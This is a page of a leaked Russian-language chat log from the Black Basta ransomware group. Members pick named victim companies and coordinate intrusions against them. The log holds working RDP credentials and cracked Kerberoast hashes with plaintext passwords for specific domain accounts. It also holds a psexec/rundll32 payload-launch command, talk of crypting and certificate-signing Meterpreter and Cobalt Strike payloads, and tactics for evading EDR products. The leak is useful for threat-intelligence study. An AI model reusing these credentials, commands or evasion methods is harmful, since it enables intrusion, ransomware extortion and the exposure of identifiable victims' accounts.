BlackBasta Matrix Chat — страница 89 из 199
2023-12-12 16:31:42
@usernamevv:matrix.bestflowers247.online
ok
2023-12-12 16:31:50
Black Basta
что бы закпустить на https://www.zoominfo.com/c/bill-spend--expense/350819891
2023-12-12 16:31:56
Black Basta
что бы пришел в работу
2023-12-12 16:31:59
Black Basta
к вам туда
2023-12-12 16:32:08
Black Basta
cortex стоит
2023-12-12 16:32:15
Black Basta
кто тут
2023-12-12 16:32:22
@usernameww:matrix.bestflowers247.online
vse
2023-12-12 16:32:23
Black Basta
мне надо хороший крипт
2023-12-12 16:32:26
Black Basta
который приходит
2023-12-12 16:32:28
Black Basta
cortex обойти
2023-12-12 16:32:49
@lapa:matrix.bestflowers247.online
скоро еще разок проверю и запущусь
2023-12-12 16:32:56
Black Basta
звали сегодня каким то четским файлом что он весь дом труба шатал и отстукива?
2023-12-12 16:33:23
@usernamemm:matrix.bestflowers247.online
я на ствоей пробовал на порт в 35
2023-12-12 16:33:26
@usernamemm:matrix.bestflowers247.online
приходил
2023-12-12 16:33:35
Black Basta
давай фаил
2023-12-12 16:33:43
Black Basta
с кортексом если придет осилишь ?
2023-12-12 16:33:54
@lapa:matrix.bestflowers247.online
запустился
2023-12-12 16:33:59
Black Basta
* звали сегодня каким то четким файлом что он весь дом труба шатал и отстукива?
2023-12-12 16:34:38
Black Basta
EV77Seed_Plant[SSL.com].rar
2023-12-12 16:34:39
Black Basta
goipghnkppekawpoghnjghjniawpppwoqadoppohn
2023-12-12 16:34:41
Black Basta
серт
2023-12-12 16:34:44
@usernamemm:matrix.bestflowers247.online
35S44386.xls
2023-12-12 16:34:47
Black Basta
новый только что выдали
2023-12-12 16:34:49
@usernamemm:matrix.bestflowers247.online
> <@usernamemm:matrix.bestflowers247.online> sent a file.
2023-12-12 16:34:51
Black Basta
сейчас еще дам два
2023-12-12 16:35:13
@usernamemm:matrix.bestflowers247.online
посмотрю конечно
2023-12-12 16:35:35
@lapa:matrix.bestflowers247.online
+
2023-12-12 16:36:03
Black Basta
https://remoteapps.agcna.net/RDWeb/Pages/en-US/login.aspx :ftpuser@agcna.net:ftpuser
2023-12-12 16:36:07
Black Basta
https://www.zoominfo.com/c/agna-group/352095646
2023-12-12 16:36:09
Black Basta
бери в работу
2023-12-12 16:36:10
Black Basta
не спи
2023-12-12 16:36:19
@usernameff:matrix.bestflowers247.online
++
2023-12-12 16:36:19
Black Basta
рдп доступ
2023-12-12 16:36:42
Black Basta
залей
2023-12-12 16:36:47
Black Basta
на темп сш
2023-12-12 16:36:52
@usernamemm:matrix.bestflowers247.online
++
2023-12-12 16:36:59
Black Basta
ReleaseImage - точка входа ?
2023-12-12 16:37:04
@usernamess:matrix.bestflowers247.online
ну хз
2023-12-12 16:37:08
@usernamemm:matrix.bestflowers247.online
да
2023-12-12 16:37:10
@usernamett:matrix.bestflowers247.online
17D86.xls
2023-12-12 16:37:14
@usernamett:matrix.bestflowers247.online
> <@usernamett:matrix.bestflowers247.online> sent a file.
2023-12-12 16:37:22
@usernamess:matrix.bestflowers247.online
так как нам подписывают придет он или нет я хз
2023-12-12 16:37:39
@usernamess:matrix.bestflowers247.online
но велика вероятность что придет, но разово будет на этой сетке
2023-12-12 16:37:53
Black Basta
пало альта это ебучая
2023-12-12 16:38:02
@usernamemm:matrix.bestflowers247.online
`http://temp.sh/OHvSx/35S44386.xls`
2023-12-12 16:38:19
@usernamess:matrix.bestflowers247.online
днс лучше попробуй
2023-12-12 16:38:22
@usernamess:matrix.bestflowers247.online
чем порт
2023-12-12 16:38:27
@usernamess:matrix.bestflowers247.online
зас тебе зальют
2023-12-12 16:38:31
@usernamess:matrix.bestflowers247.online
* щас тебе зальют
2023-12-12 16:38:47
Black Basta
> <@usernamemm:matrix.bestflowers247.online> `http://temp.sh/OHvSx/35S44386.xls`
2023-12-12 16:38:53
@usernamevv:matrix.bestflowers247.online
`https://fex.net/s/dx0oyxd`
2023-12-12 16:39:07
Black Basta
> <@usernamett:matrix.bestflowers247.online> sent a file.
2023-12-12 16:39:24
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> temp.sh
2023-12-12 16:39:25
Black Basta
++
2023-12-12 16:39:48
Black Basta
17d86 не советуешь ?
2023-12-12 16:39:57
@usernamess:matrix.bestflowers247.online
так она вся в палеве
2023-12-12 16:40:02
Black Basta
++
2023-12-12 16:40:27
@usernamemm:matrix.bestflowers247.online
`remote-exec psexec ACCPDB2 %windir%\system32\rundll32.exe C:\users\public\35S44386.xls,ReleaseImage`
2023-12-12 16:40:27
@usernamess:matrix.bestflowers247.online
длл или exe?
2023-12-12 16:40:43
@usernamess:matrix.bestflowers247.online
> <@usernamemm:matrix.bestflowers247.online> `remote-exec psexec ACCPDB2 %windir%\system32\rundll32.exe C:\users\public\35S44386.xls,ReleaseImage`
2023-12-12 16:41:04
@usernamess:matrix.bestflowers247.online
> <@usernamess:matrix.bestflowers247.online> длл или exe?
2023-12-12 16:41:18
Black Basta
dll
2023-12-12 16:42:18
Black Basta
EV78Get_Natural[SSL.com].rar
2023-12-12 16:42:19
Black Basta
oidjgfoijsdfoisdviuoiuosedfapsodiojbviojoisadfodflpow
2023-12-12 16:42:24
Black Basta
вот еще один
2023-12-12 16:43:04
@usernamess:matrix.bestflowers247.online
```
2023-12-12 16:43:07
@usernamess:matrix.bestflowers247.online
GG:
2023-12-12 16:43:15
Black Basta
++
2023-12-12 16:43:26
@usernamess:matrix.bestflowers247.online
* ```
2023-12-12 16:43:27
@lapa:matrix.bestflowers247.online
+
2023-12-12 16:44:16
@usernamevv:matrix.bestflowers247.online
image.png
2023-12-12 16:45:17
@muaddib6:matrix.org
Рантайм похоже. А файл какой?
2023-12-12 16:45:41
@usernamevv:matrix.bestflowers247.online
image.png
2023-12-12 16:45:43
@ssd:matrix.bestflowers247.online
ok
2023-12-12 16:45:44
@usernamezz:matrix.bestflowers247.online
```
2023-12-12 16:45:51
@ssd:matrix.bestflowers247.online
тогда врубаем
2023-12-12 16:45:56
@usernamevv:matrix.bestflowers247.online
> <@muaddib6:matrix.org> Рантайм похоже. А файл какой?
2023-12-12 16:46:09
@muaddib6:matrix.org
А что за окно?
2023-12-12 16:46:19
@ssd:matrix.bestflowers247.online
давай
2023-12-12 16:46:22
@usernamevv:matrix.bestflowers247.online
это уже не тебе
2023-12-12 16:46:29
@usernamevv:matrix.bestflowers247.online
а малварбайтс на твой файл ругался
2023-12-12 16:46:46
@muaddib6:matrix.org
Я рантайм вижу. Статика вся чистая
2023-12-12 16:47:16
@w:matrixtcFJHPDblmt2rg.network
щас, пару минут
2023-12-12 16:47:20
@w:matrixtcFJHPDblmt2rg.network
я проверю быстро msi на чистоту
2023-12-12 16:47:22
@w:matrixtcFJHPDblmt2rg.network
втыканул
2023-12-12 16:47:23
@w:matrixtcFJHPDblmt2rg.network
пару минут
2023-12-12 16:47:27
@lapa:matrix.bestflowers247.online
тишина
2023-12-12 16:47:29
@lapa:matrix.bestflowers247.online
чет никого
2023-12-12 16:47:37
@w:matrixtcFJHPDblmt2rg.network
если что быстро новую пролью
2023-12-12 16:49:00
@w:matrixtcFJHPDblmt2rg.network
ага, щас новый сделаю
2023-12-12 16:49:03
@w:matrixtcFJHPDblmt2rg.network
палит крипт старый
2023-12-12 16:49:05
@w:matrixtcFJHPDblmt2rg.network
щас сделаю
2023-12-12 16:50:09
@usernamevv:matrix.bestflowers247.online
image.png
2023-12-12 16:50:20
@usernamevv:matrix.bestflowers247.online
burrito:
2023-12-12 16:50:35
@usernamevv:matrix.bestflowers247.online
image.png
2023-12-12 16:50:50
@ssd:matrix.bestflowers247.online
ага
2023-12-12 16:50:55
@usernamevv:matrix.bestflowers247.online
image.png
2023-12-12 16:52:39
@usernameff:matrix.bestflowers247.online
не получается зайти, спрашивает название тачки к какой коннектиться
2023-12-12 16:52:46
@w:matrixtcFJHPDblmt2rg.network
залил на крипт, щас msi сделаю
2023-12-12 16:53:17
@w:matrixtcFJHPDblmt2rg.network
а какая строка щас у ляписа?
2023-12-12 16:54:09
@usernameff:matrix.bestflowers247.online
image.png
2023-12-12 16:54:11
@usernamess:matrix.bestflowers247.online
Перед простановой можно будет скататься дунуть?
2023-12-12 16:56:15
@w:matrixtcFJHPDblmt2rg.network
старую в бинаре найти не могу
2023-12-12 16:56:23
@w:matrixtcFJHPDblmt2rg.network
новая походу
2023-12-12 16:59:10
@lapa:matrix.bestflowers247.online
похоже и правда у нас некуда слать на юсу
2023-12-12 16:59:21
@lapa:matrix.bestflowers247.online
куда бы мы могли доставить
2023-12-12 16:59:33
@lapa:matrix.bestflowers247.online
100к ушло, ни одного запуска
2023-12-12 16:59:39
Black Basta
++
2023-12-12 17:00:35
@ssd:matrix.bestflowers247.online
напиши как могу ленды поменять
2023-12-12 17:00:39
@ssd:matrix.bestflowers247.online
на траф воткнуть
2023-12-12 17:00:52
Black Basta
```
2023-12-12 17:00:56
Black Basta
попробуй подключись
2023-12-12 17:02:02
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> попробуй подключись
2023-12-12 17:02:30
@w:matrixtcFJHPDblmt2rg.network
+++
2023-12-12 17:02:32
@w:matrixtcFJHPDblmt2rg.network
jrtq
2023-12-12 17:02:33
@w:matrixtcFJHPDblmt2rg.network
oeky
2023-12-12 17:02:35
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> ```
2023-12-12 17:03:01
@lapa:matrix.bestflowers247.online
стопнул
2023-12-12 17:04:54
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> попробуй подключись
2023-12-12 17:04:55
Black Basta
нет не албания
2023-12-12 17:04:59
Black Basta
по рдп есть конект ?
2023-12-12 17:06:13
@usernamevv:matrix.bestflowers247.online
```
2023-12-12 17:06:27
@usernamess:matrix.bestflowers247.online
я подключился по рдп
2023-12-12 17:06:32
@usernamess:matrix.bestflowers247.online
а там новая логинка рдп
2023-12-12 17:07:13
Black Basta
зашел на тачку ?
2023-12-12 17:07:16
Black Basta
позвать попробуй
2023-12-12 17:07:21
Black Basta
пускай возьмут в работу кто свободен
2023-12-12 17:07:33
Black Basta
понял
2023-12-12 17:07:34
Black Basta
ок
2023-12-12 17:07:38
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> зашел на тачку ?
2023-12-12 17:07:39
Black Basta
++
2023-12-12 17:07:40
@usernamess:matrix.bestflowers247.online
но я там
2023-12-12 17:08:55
Black Basta
мета есть криптованная ?
2023-12-12 17:09:05
Black Basta
что подписать сейчас сертом мне ее и позвать
2023-12-12 17:10:15
Black Basta
https://www.zoominfo.com/c/stepan-co/36651215
2023-12-12 17:10:22
Black Basta
stepan.txt
2023-12-12 17:10:29
Black Basta
от меты нужен крипт мне
2023-12-12 17:10:35
Black Basta
я подпишу сам сертом
2023-12-12 17:10:46
Black Basta
таких ребят только в мету звать
2023-12-12 17:10:54
Black Basta
никакой кобы что бы они даже не видели
2023-12-12 17:11:26
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> мета есть криптованная ?
2023-12-12 17:12:51
@usernamess:matrix.bestflowers247.online
1l.exe
2023-12-12 17:12:52
@usernamess:matrix.bestflowers247.online
August.log
2023-12-12 17:12:56
@usernamess:matrix.bestflowers247.online
GG:
2023-12-12 17:13:04
@usernamess:matrix.bestflowers247.online
от 18 октября кнрипт
2023-12-12 17:13:10
@usernamess:matrix.bestflowers247.online
* от 18 октября крипт
2023-12-12 17:13:36
Black Basta
это мета exe и dll ?
2023-12-12 17:13:54
Black Basta
ты тут ?
2023-12-12 17:13:59
@usernamess:matrix.bestflowers247.online
> <@usernamess:matrix.bestflowers247.online> sent a file.
2023-12-12 17:14:05
@usernamess:matrix.bestflowers247.online
> <@usernamess:matrix.bestflowers247.online> sent a file.
2023-12-12 17:14:17
Black Basta
надо другой крипт
2023-12-12 17:14:19
Black Basta
старый очень с
2023-12-12 17:14:23
Black Basta
сейчас сделай пейлоад
2023-12-12 17:14:37
Black Basta
от меты
2023-12-12 17:14:38
Black Basta
залей на крипт в чат
2023-12-12 17:14:38
Black Basta
сейчас я их расшевелю
2023-12-12 17:14:39
Black Basta
у меня свежий серт
2023-12-12 17:14:42
Black Basta
подпишем
2023-12-12 17:15:10
Black Basta
https://www.zoominfo.com/c/nucor-corp/28262898
2023-12-12 17:15:23
Black Basta
++
2023-12-12 17:15:24
Black Basta
nucor.txt
2023-12-12 17:15:45
Black Basta
https://www.zoominfo.com/c/catalent-inc/51386296
2023-12-12 17:15:49
Black Basta
catalent.txt
2023-12-12 17:16:04
Black Basta
catalent тут по whoami не в домене, но на деле потом включил впнку и все заработало
2023-12-12 17:16:27
@w:matrixtcFJHPDblmt2rg.network
msi собрал чисто
2023-12-12 17:16:32
@w:matrixtcFJHPDblmt2rg.network
но надо бы зарандомить длку
2023-12-12 17:16:34
@w:matrixtcFJHPDblmt2rg.network
надо строка
2023-12-12 17:16:38
@w:matrixtcFJHPDblmt2rg.network
ляпис не отвечает?
2023-12-12 17:17:14
@usernamess:matrix.bestflowers247.online
pay_crypt_meta_all_arh.zip
2023-12-12 17:17:21
@usernamess:matrix.bestflowers247.online
крипт! Срочно
2023-12-12 17:17:45
@muaddib6:matrix.org
+
2023-12-12 17:18:46
@muaddib6:matrix.org
> <@usernamess:matrix.bestflowers247.online> sent a file.
2023-12-12 17:19:00
@muaddib6:matrix.org
А все разобрался.
2023-12-12 17:19:03
@usernamess:matrix.bestflowers247.online
> <@muaddib6:matrix.org> Скольки битные файлы?
2023-12-12 17:19:15
@usernamess:matrix.bestflowers247.online
> <@muaddib6:matrix.org> Скольки битные файлы?
2023-12-12 17:19:46
@ssd:matrix.bestflowers247.online
жду
2023-12-12 17:19:49
@ssd:matrix.bestflowers247.online
воткнуть
2023-12-12 17:21:23
@w:matrixtcFJHPDblmt2rg.network
Вот если что линки на наши лендосы ( новый сервак и новый домен )
2023-12-12 17:21:29
@w:matrixtcFJHPDblmt2rg.network
+++
2023-12-12 17:21:33
@w:matrixtcFJHPDblmt2rg.network
сделал чисто
2023-12-12 17:21:42
@w:matrixtcFJHPDblmt2rg.network
но жду щас пока криптер строку для рандомизации длки даст
2023-12-12 17:22:28
@usernamess:matrix.bestflowers247.online
так
2023-12-12 17:22:33
@usernamess:matrix.bestflowers247.online
докладываю
2023-12-12 17:22:38
@usernamess:matrix.bestflowers247.online
позвал ту сетку
2023-12-12 17:22:42
Black Basta
ага
2023-12-12 17:22:44
@usernamess:matrix.bestflowers247.online
по поводу люкс софта
2023-12-12 17:23:00
Black Basta
не уходи никуда
2023-12-12 17:23:08
Black Basta
мне надо сейчас будут подписать пару файлов сертом
2023-12-12 17:23:11
@usernamess:matrix.bestflowers247.online
там на всех всех компах и даже на юзерских стоит фалкон
2023-12-12 17:23:15
Black Basta
этим сертом ты умеешь подписывать новым
2023-12-12 17:23:22
Black Basta
++
2023-12-12 17:23:31
Black Basta
у ляписа крипт палиться
2023-12-12 17:23:34
Black Basta
он чистит же стаб
2023-12-12 17:23:44
Black Basta
https://www.zoominfo.com/c/kemp-smith-llp/37489667
2023-12-12 17:23:48
@lapa:matrix.bestflowers247.online
+
2023-12-12 17:23:57
Black Basta
kemp.txt
2023-12-12 17:24:00
Black Basta
юрики на 20м
2023-12-12 17:24:03
Black Basta
начнем с них
2023-12-12 17:24:19
Black Basta
так как надо понять как сгружать оттуда на мету и как будет приходить
2023-12-12 17:24:19
@usernamess:matrix.bestflowers247.online
кароч выпил
2023-12-12 17:24:43
@w:matrixtcFJHPDblmt2rg.network
не
2023-12-12 17:24:48
@w:matrixtcFJHPDblmt2rg.network
он же писал, что почистил)
2023-12-12 17:24:53
@w:matrixtcFJHPDblmt2rg.network
я же выдал тебе сегодня
2023-12-12 17:24:57
@w:matrixtcFJHPDblmt2rg.network
или уже опять палиться
2023-12-12 17:25:01
@w:matrixtcFJHPDblmt2rg.network
та не
2023-12-12 17:25:07
@w:matrixtcFJHPDblmt2rg.network
я вот точно тестил щас si
2023-12-12 17:25:12
@w:matrixtcFJHPDblmt2rg.network
* я вот точно тестил щас msi
2023-12-12 17:25:15
@w:matrixtcFJHPDblmt2rg.network
с новым криптом от ляписа
2023-12-12 17:25:17
@w:matrixtcFJHPDblmt2rg.network
все чисто
2023-12-12 17:25:17
Black Basta
> <@usernamess:matrix.bestflowers247.online> sent a file.
2023-12-12 17:26:28
Black Basta
> <@usernamegg:matrix.bestflowers247.online> ```
2023-12-12 17:26:35
@usernamess:matrix.bestflowers247.online
да
2023-12-12 17:26:39
Black Basta
++
2023-12-12 17:26:41
Black Basta
молодец
2023-12-12 17:26:46
@usernamess:matrix.bestflowers247.online
что скажешь?
2023-12-12 17:26:49
Black Basta
> <@usernamess:matrix.bestflowers247.online> кароч выпил
2023-12-12 17:26:55
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> выпиливают ?(
2023-12-12 17:27:01
@usernamess:matrix.bestflowers247.online
там везде фалкон
2023-12-12 17:27:03
Black Basta
закреп надо где то поставить
2023-12-12 17:27:06
Black Basta
епать
2023-12-12 17:27:09
@usernamess:matrix.bestflowers247.online
это выше наших и моих сил
2023-12-12 17:27:21
Black Basta
заинжекти бинарник от внц
2023-12-12 17:27:25
@usernamess:matrix.bestflowers247.online
я все трасты просканил и юзерские
2023-12-12 17:27:31
@usernamess:matrix.bestflowers247.online
там нет инета
2023-12-12 17:27:31
Black Basta
> <@usernamess:matrix.bestflowers247.online> это выше наших и моих сил
2023-12-12 17:27:35
@usernamess:matrix.bestflowers247.online
он не будет стучать
2023-12-12 17:28:04
Black Basta
[23:10:08] mrlapis: Добавили сигнатуру
2023-12-12 17:28:06
Black Basta
это старая
2023-12-12 17:28:52
Black Basta
Ради меня, команды и нашего кодера, опиши пожалуйста, как планируешь действовать, после того как придет отстук, чем закрепляться, чем снимать кредсы, как подымать права, что делаете, что бы не спалил АВ и фаер
2023-12-12 17:28:58
Black Basta
распиши мне
2023-12-12 17:29:04
Black Basta
что бы челу дать гарнтии
2023-12-12 17:29:08
Black Basta
а то у него очень жирные таргеты
2023-12-12 17:29:12
Black Basta
они точечсно работают
2023-12-12 17:29:16
Black Basta
Я могу описать все как мы делаем, в детялах, если захочешь конечно, хоть и мало смысла в этом. Но мы будем очень рады услышать от вас как вы это делаете, мы устали терять таргеты
2023-12-12 17:29:30
Black Basta
короче уебкам всяким типа нас грузит в кобу и все проебывает )
2023-12-12 17:29:35
@w:matrixtcFJHPDblmt2rg.network
ага
2023-12-12 17:29:37
@w:matrixtcFJHPDblmt2rg.network
ее уже нет
2023-12-12 17:29:40
Black Basta
он говорит в кобу грузить не будет ничего
2023-12-12 17:29:49
Black Basta
так как теряют таргеты
2023-12-12 17:29:54
@usernamess:matrix.bestflowers247.online
ну у нас кроме кобы нет нихуя)))
2023-12-12 17:30:01
Black Basta
мета есть
2023-12-12 17:30:02
@usernamess:matrix.bestflowers247.online
а в мете никто не сможет крутить
2023-12-12 17:30:08
Black Basta
рц4 есть
2023-12-12 17:30:11
@usernamess:matrix.bestflowers247.online
потому что мета для соло крутки
2023-12-12 17:30:17
@ssd:matrix.bestflowers247.online
ок
2023-12-12 17:30:30
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> рц4 есть
2023-12-12 17:30:34
Black Basta
распиши пока ему все очень красиво и заумно , как запрашиваем серты и тд
2023-12-12 17:30:48
Black Basta
> <@usernamess:matrix.bestflowers247.online> его не ставили и не тыкали, хоть он уже пару месяцев лежит
2023-12-12 17:30:54
Black Basta
завтра скажу что бы поставил
2023-12-12 17:31:04
Black Basta
изучить надо ее
2023-12-12 17:31:13
@usernamess:matrix.bestflowers247.online
ни у меня ни у NN не было доступа для тго чтоб тыкать ее руками и туда звать что то для тестов
2023-12-12 17:31:29
Black Basta
завтра все будет
2023-12-12 17:31:40
@usernamess:matrix.bestflowers247.online
потому что BRc4 у нас был старой версии щас там много мажорных вышло и поменялось
2023-12-12 17:31:41
Black Basta
так
2023-12-12 17:31:59
Black Basta
Снимок экрана 2023-12-12 в 20.31.48.png
2023-12-12 17:32:00
Black Basta
чел не хочет звать таргеты в работу на мету
2023-12-12 17:32:04
Black Basta
так как теряет их
2023-12-12 17:32:19
Black Basta
Снимок экрана 2023-12-12 в 20.32.13.png
2023-12-12 17:32:29
Black Basta
нам нужны эти таргеты его
2023-12-12 17:32:34
Black Basta
но не в кобу
2023-12-12 17:32:40
Black Basta
в мету сейчас попробую позвать конечно
2023-12-12 17:32:59
Black Basta
рц4 надо понять
2023-12-12 17:33:02
Black Basta
сможешь ведь ?
2023-12-12 17:33:09
Black Basta
и что там у нас с брейкером ?
2023-12-12 17:33:50
@usernameyy:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> рц4 надо понять
2023-12-12 17:34:06
@usernameyy:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> и что там у нас с брейкером ?
2023-12-12 17:34:08
Black Basta
rc4 - это софт типа кобы
2023-12-12 17:34:24
@usernameyy:matrix.bestflowers247.online
документация есть?
2023-12-12 17:34:30
@usernameyy:matrix.bestflowers247.online
если да то проблем не будет конечно
2023-12-12 17:34:32
Black Basta
Снимок экрана 2023-12-12 в 20.34.24.png
2023-12-12 17:34:44
Black Basta
запроси все у $$
2023-12-12 17:35:24
@usernameyy:matrix.bestflowers247.online
попросил у него софт rc4
2023-12-12 17:36:23
@usernamess:matrix.bestflowers247.online
`Позвал, чекнул группы юзера, спросил админов, чекнул трасты, пинганул их. Kerberoast запросил, серты через сертипи. БХ не снимаю категорически. Запрошу количество тачек на своем трасте, трастах что пингуется. И дальше будет видно что и куда.`
2023-12-12 17:36:43
@usernameyy:matrix.bestflowers247.online
у него нет говорит
2023-12-12 17:36:53
@muaddib6:matrix.org
> <@muaddib6:matrix.org> Скольки битные файлы?
2023-12-12 17:37:06
@muaddib6:matrix.org
Для dll вход: zMWaXtRnQbLW
2023-12-12 17:37:07
@muaddib6:matrix.org
4.7z
2023-12-12 17:37:16
@muaddib6:matrix.org
Будет еще 1 сборка этих исходников попозже
2023-12-12 17:41:28
Black Basta
заливаю тебе rc4
2023-12-12 17:42:49
Black Basta
++
2023-12-12 17:42:56
Black Basta
4.7z
2023-12-12 17:43:06
Black Basta
> <@muaddib6:matrix.org> Будет еще 1 сборка этих исходников попозже
2023-12-12 17:43:10
Black Basta
> <@muaddib6:matrix.org> Будет еще 1 сборка этих исходников попозже
2023-12-12 17:43:30
@ssd:matrix.bestflowers247.online
ну врубяать мне
2023-12-12 17:43:35
@usernameyy:matrix.bestflowers247.online
я понял, ты брутерател называешь рц4
2023-12-12 17:43:43
@ssd:matrix.bestflowers247.online
че там к макару хоть какие сети шли
2023-12-12 17:43:46
@usernameyy:matrix.bestflowers247.online
да мы ставили его, это тот что не запускался второй раз
2023-12-12 17:43:53
Black Basta
брутрейтел
2023-12-12 17:43:54
Black Basta
да
2023-12-12 17:44:04
Black Basta
> <@usernameyy:matrix.bestflowers247.online> да мы ставили его, это тот что не запускался второй раз
2023-12-12 17:44:07
Black Basta
не запускался
2023-12-12 17:44:30
@usernameyy:matrix.bestflowers247.online
я поставил его и не смог перезапустить и тебе жаловался еще что ключ лицензии просит, потом ты написал поставщику, а он сказал, что я что-то не так сделал
2023-12-12 17:44:51
@usernameyy:matrix.bestflowers247.online
ну щас поставим и главное не перезапускать значит
2023-12-12 17:45:01
@usernameyy:matrix.bestflowers247.online
че я серваки тогда закажу у тт тогда?
2023-12-12 17:45:07
@usernameyy:matrix.bestflowers247.online
* че я серваки тогда закажу у тт?
2023-12-12 17:45:16
Black Basta
да
2023-12-12 17:45:19
Black Basta
закажи
2023-12-12 17:45:23
@w:matrixtcFJHPDblmt2rg.network
нет
2023-12-12 17:45:24
@w:matrixtcFJHPDblmt2rg.network
я отпишу
2023-12-12 17:45:25
@w:matrixtcFJHPDblmt2rg.network
я жду еще
2023-12-12 17:45:26
Black Basta
кто продал он на связи
2023-12-12 17:45:30
Black Basta
моем спросить любые вопросы
2023-12-12 17:45:46
Black Basta
нет
2023-12-12 17:45:47
@usernameyy:matrix.bestflowers247.online
какую локацию мы крутить будем
2023-12-12 17:45:47
Black Basta
хуета
2023-12-12 17:45:52
Black Basta
ставь на Ipika
2023-12-12 17:45:55
Black Basta
там все готово
2023-12-12 17:45:55
@usernameyy:matrix.bestflowers247.online
чтобы я ему сказал еу или юс взять
2023-12-12 17:45:58
@w:matrixtcFJHPDblmt2rg.network
щас сделаю 1 файл чисто для запуска
2023-12-12 17:46:01
@w:matrixtcFJHPDblmt2rg.network
потом рандомизацию добавлю
2023-12-12 17:46:01
Black Basta
и будет все ок
2023-12-12 17:46:03
@w:matrixtcFJHPDblmt2rg.network
щас
2023-12-12 17:46:51
Black Basta
usa
2023-12-12 17:47:35
@w:matrixtcFJHPDblmt2rg.network
а лапа тут?
2023-12-12 17:47:43
Black Basta
lf
2023-12-12 17:47:44
Black Basta
да
2023-12-12 17:47:55
Black Basta
подпиши эти файлы
2023-12-12 17:48:24
Black Basta
какие файлы есть от кобы с хорошим криптом не подписаные ?
2023-12-12 17:48:31
Black Basta
что бы подписать сейчас хорошим сертом
2023-12-12 17:48:59
@w:matrixtcFJHPDblmt2rg.network
++++
2023-12-12 17:48:59
@lapa:matrix.bestflowers247.online
+
2023-12-12 17:49:30
@usernamezz:matrix.bestflowers247.online
у нас только подписанные хорошие. другие практически не тестили
2023-12-12 17:50:01
@lapa:matrix.bestflowers247.online
а это все длл?
2023-12-12 17:50:06
@lapa:matrix.bestflowers247.online
или там длл и exe ?
2023-12-12 17:50:08
Black Basta
нет
2023-12-12 17:50:13
Black Basta
смотри что там
2023-12-12 17:50:19
Black Basta
есть длл и ехе
2023-12-12 17:50:23
@lapa:matrix.bestflowers247.online
+
2023-12-12 17:50:30
@lapa:matrix.bestflowers247.online
ща вручную форматы поменяю
2023-12-12 17:50:45
@ssd:matrix.bestflowers247.online
минут 30 отойду
2023-12-12 17:50:55
@ssd:matrix.bestflowers247.online
или дождатся
2023-12-12 17:51:33
@usernamess:matrix.bestflowers247.online
ну естественно в ДНС
2023-12-12 17:52:16
@w:matrixtcFJHPDblmt2rg.network
дождись лучше
2023-12-12 17:52:26
@w:matrixtcFJHPDblmt2rg.network
щас серт вешаю
2023-12-12 17:53:10
@ssd:matrix.bestflowers247.online
ок
2023-12-12 17:53:12
@ssd:matrix.bestflowers247.online
жду
2023-12-12 17:53:15
@lapa:matrix.bestflowers247.online
singed1212.zip
2023-12-12 17:53:40
@usernamess:matrix.bestflowers247.online
AGCNA_adm_kekhash.txt
2023-12-12 17:53:57
Black Basta
https://file.io/tzMIAsHolbow
2023-12-12 17:54:08
Black Basta
+
2023-12-12 17:54:16
@username777:matrix.bestflowers247.online
$krb5tgs$23$*MBAMUser$agcna.net$http://srv-mbam.agcna.net@agcna.net*$1093b93fab137582e19...cf8b36cc02:Password1
2023-12-12 17:54:17
Black Basta
еще дам ща
2023-12-12 17:54:25
@username777:matrix.bestflowers247.online
$krb5tgs$23$*AdminJN$agcna.net$MSSQLSvc/BF-M11036033.aptechnoglass.net:1433@agcna.net*$2fa01df046c5c021188...4bea37de5a:Riley2006.
2023-12-12 17:54:26
Black Basta
++
2023-12-12 17:54:59
@usernamehunter:matrix.bestflowers247.online
* $krb5tgs$23$_admindm$agcna.net$AgpmServer/SRV-MBAM2.agcna.net/agcna.net@agcna.net_$e2cb7375c9d.....4821abf36b0f5a3:Mickey2013
2023-12-12 17:55:00
@lapa:matrix.bestflowers247.online
+
2023-12-12 17:55:06
@usernamess:matrix.bestflowers247.online
Hunterpass: чуть не успел
2023-12-12 17:55:33
@username777:matrix.bestflowers247.online
$krb5tgs$23$*adminnd$agcna.net$MSSQLSvc/SETKY-ITSBX.agc.jp:64624@agcna.net*$915e47d178ad3e56a03...8647f87556:Nidalee5
2023-12-12 17:59:02
@w:matrixtcFJHPDblmt2rg.network
pfgecrfq
2023-12-12 17:59:04
@w:matrixtcFJHPDblmt2rg.network
запускай
2023-12-12 18:02:28
@ssd:matrix.bestflowers247.online
5 мин
2023-12-12 18:02:30
@ssd:matrix.bestflowers247.online
ловите
2023-12-12 18:03:42
Black Basta
singed1212.zip
2023-12-12 18:03:54
Black Basta
Для dll вход: zMWaXtRnQbLW
2023-12-12 18:04:01
Black Basta
пета прдписанная
2023-12-12 18:04:26
Black Basta
проверить надо
2023-12-12 18:04:26
Black Basta
стучит туда или
2023-12-12 18:05:55
@w:matrixtcFJHPDblmt2rg.network
+++
2023-12-12 18:07:27
@usernamevv:matrix.bestflowers247.online
image.png
2023-12-12 18:09:36
@usernameboy:matrix.bestflowers247.online
$krb5tgs$23$*afgadmsrv$agcna.net$sip/Agccrp64.afg.com@agcna.net*$50896..3b501:hdsoaw4dad
2023-12-12 18:11:24
@usernameww:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> проверить надо
2023-12-12 18:13:44
@lapa:matrix.bestflowers247.online
жду
2023-12-12 18:17:15
@usernameww:matrix.bestflowers247.online
exe DE 443/8080 work!!!
2023-12-12 18:17:17
Black Basta
спасибо за тест
2023-12-12 18:19:49
@usernameugway:matrix.bestflowers247.online
ты говорил есть база выкаченных писем, там подписи компаний есть? как они подписывают письма свои
2023-12-12 18:25:09
@usernameww:matrix.bestflowers247.online
FR лучше пока не звать , затестил файлы пришло но там что то с метой в сессию не заходит и ошибки выдает
2023-12-12 18:25:30
@usernamevv:matrix.bestflowers247.online
> <@cameron777:matrix.org> https://www.zoominfo.com/c/wolf-haldenstein-adler-freeman-herz-llp/38212616
2023-12-12 18:25:43
